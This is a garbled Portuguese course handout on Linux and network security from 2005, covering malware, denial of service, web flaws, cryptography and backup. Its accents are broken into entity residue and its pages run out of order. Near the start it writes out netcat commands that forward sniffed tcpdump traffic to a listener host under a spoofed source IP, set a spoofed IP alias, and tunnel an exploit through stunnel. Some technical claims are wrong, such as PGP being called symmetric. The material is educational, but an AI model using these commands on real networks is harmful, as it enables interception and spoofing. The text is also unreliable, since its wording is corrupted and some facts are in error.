ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 7: Curso de segurança em linux e redes em geral

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente 